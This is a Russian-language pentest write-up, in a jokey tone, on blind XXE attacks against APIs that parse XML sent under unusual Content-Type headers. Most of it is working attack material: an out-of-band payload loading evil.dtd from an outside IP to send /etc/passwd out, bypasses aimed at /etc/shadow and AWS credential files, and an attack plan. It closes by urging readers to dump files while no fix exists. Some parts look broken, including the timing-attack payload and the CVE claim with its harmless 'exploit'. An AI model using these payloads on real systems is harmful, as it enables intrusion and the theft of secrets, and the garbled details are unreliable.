Точка входа
Что вижу:
API принимает данные с Content-Type: application/xml+quotes, но парсит как XML. В ответе на <root>&foo;</root> → ошибка «Entity ‘foo’ not defined». Пахнет внедрением сущностей, как тухлый сыр в холодильнике пентестера.
Как поймал:
— Инструмент: curl -X POST -H "Content-Type: application/x-broken" --data-binary @payload.xml
— Метод: Подмена MIME-типа на кастомный (application/x-php-serialized, text/x-xmlz).
Чем пахнет:
— Класс: Blind XXE через неочевидные MIME + парсер-легаси.
— Вероятность: 7/10. Девы верят, что «нестандартный MIME = защита».
Че почем
Эксплойт:
|
1 2 3 4 5 6 7 8 9 10 |
POST /api/import HTTP/1.1 Content-Type: application/x-bracket-encrypted <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://144.228.71.44/evil.dtd"> %remote; %exfil; ]> |
Где evil.dtd:
|
1 2 |
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://144.228.71.44/?leak=%data;'>"> |
Обход защиты:
— Если WAF блокирует SYSTEM: Замени на PHP-фильтры: php://filter/convert.base64-encode/resource=/etc/shadow.
— Если запрещают внешние DTD: Используй внутренние ентити через параметры:
|
1 |
<!DOCTYPE root [<!ENTITY % param1 "<!ENTITY % param2 'file:///var/aws/credentials'>"> %param1;]> |
Доказательство:
Скриншот логов с утекшим /etc/passwd в URL-параметре. «Видишь root:x:0? Это не список юзеров — это твой future RCE».
Хвост от старика
3 вектора для добивания:
-
XXE через SVG в PDF: Засунь вектор в SVG, заверни в PDF с MIME
application/pdf+xml. -
Атака на SOAP: Если API кушает
application/soap+xml, подмени наtext/xmlи вставь ентити. -
JSON-Polyglot:
|
1 |
{"root": "{{}}"} → замени Content-Type на "application/xml" и вставь XXE. |
План атаки:
-
Фаззишь MIME-типы:
application/xml-report,text/xml-stream. -
Ловишь слепой XXE через OOB-канал (DNS или HTTP).
-
Если слепой — используй тайминг-атаки:
|
1 2 3 4 5 |
<!ENTITY % file SYSTEM "file:///dev/urandom"> <!ENTITY % eval "<!ENTITY % wait SYSTEM 'file:///dev/zero?%file;'>"> %eval; %wait; |
-
→ Длинный ответ = файл существует.
Бонус от деда
Если в хедерах X-Parser: libxml2/2.9.0:
— Гугли CVE-2020-24941 (XXE в PHP 7.4).
— Эксплойт:
|
1 2 |
<!DOCTYPE replace [<!ENTITY ent "babylon">]> <user><firstname>&ent;</firstname></user> |
Content-Type: application/xml-woof.
Мемная аналитика:
«Нестандартный MIME — как рюкзак с надписью «не бомба»: все видят, но парсят как обычный XML».
Итог:
— Уязвимость: Парсеры, жрущие XML под любым MIME.
— Фикс: Жёстко валидировать Content-Type, отключать ентити.
— Но пока фикса нет — дамь файлы через кастомные заголовки.



